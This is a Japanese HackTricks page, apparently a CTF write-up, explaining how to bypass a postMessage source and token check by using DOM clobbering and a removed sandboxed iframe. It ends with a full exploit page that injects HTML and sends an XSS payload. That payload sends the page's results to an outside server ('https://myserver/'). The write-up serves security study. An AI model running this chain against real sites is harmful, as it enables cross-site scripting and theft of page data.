Japanese - Ht

Bypassing SOP with Iframes - 2

htARTE（HackTricks AWS Red Team Expert） からAWSハッキングをゼロからヒーローまで学ぶ！

SOP-2のIframes

このチャレンジの解決策では、@Strellic_が前のセクションと似た方法を提案しています。確認してみましょう。

このチャレンジでは、攻撃者はこれをバイパスする必要があります:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

もし彼がそうすれば、サニタイズ（XSS）なしでページに書き込まれるHTMLコンテンツを持つpostmessageを送信できます。

最初のチェックをバイパスする方法は、**window.calc.contentWindowをundefinedにし、e.sourceをnull**にすることです：

  • **window.calc.contentWindowは実際にはdocument.getElementById("calc")です。document.getElementByIdを<img name=getElementById />**で上書きできます（Sanitizer API -こちら- は、デフォルト状態ではDOMの上書き攻撃に対して保護されていないことに注意してください）。

  • したがって、**document.getElementById("calc")を<img name=getElementById /><div id=calc></div>で上書きできます。その結果、window.calcはundefined**になります。

  • そして、e.sourceをundefinedまたはnullにする必要があります（==が使われているため、null == undefinedはTrueです）。これを取得するのは「簡単」です。iframeを作成し、そこからpostMessageを送信し、すぐにiframeを削除すると、**e.originはnull**になります。以下のコードを確認してください。

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

第二のチェックをバイパスするためには、**tokenの値をnullで送信し、window.tokenの値をundefined**にすることです：

  • 値がnullの**token**をpostMessageで送信するのは簡単です。

  • window.tokenはdocument.cookieを使用するgetCookie関数を呼び出します。nullのオリジンページでdocument.cookieにアクセスするとエラーが発生します。これにより**window.tokenの値がundefined**になります。

最終的な解決策は@terjanqによるもので、次のとなります：

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
htARTE（HackTricks AWS Red Team Expert） からAWSハッキングをゼロからヒーローまで学ぶ！
PreviousBypassing SOP with Iframes - 1NextSteal postmessage modifying iframe location

Last updated